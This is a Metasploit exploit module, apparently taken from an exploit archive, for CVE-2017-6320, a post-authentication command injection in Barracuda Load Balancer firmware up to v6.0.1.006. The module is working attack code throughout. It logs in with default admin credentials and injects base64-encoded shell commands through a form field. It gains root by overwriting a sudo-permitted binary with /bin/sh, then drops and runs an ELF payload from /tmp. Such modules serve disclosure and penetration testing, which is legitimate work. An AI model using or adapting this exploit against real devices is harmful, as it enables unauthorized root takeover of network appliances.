Barracuda Load Balancer Firmware < 6.0.1.006 - Remote Command Injection (Metasploit)

# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <=  v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
#            6.0.0.005 (2016-03-22) - checked:4/8/16
#	     5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln:  6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <=  v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Load Balancer Firmware <=  v6.0.1.006 delete_assessment root exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Load Balancer Firmware Version <=  v6.0.1.006 (2016-08-19) by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

 		# file to replace
                #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

		vprint_status(" file = " + b64dumpfile)

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "ADVANCE" ],
		[ "realm","" ],
		[ "secondary_tab","advanced_system" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],

		[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
		[ "delete_assessment",  Rex::Text.rand_text_numeric(20) ]
		]
		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end
	    	post_data << "--#{boundary}--\r\n"

	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
			}
	        })	
	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		
		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
#                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
                        handler
                end


	end

end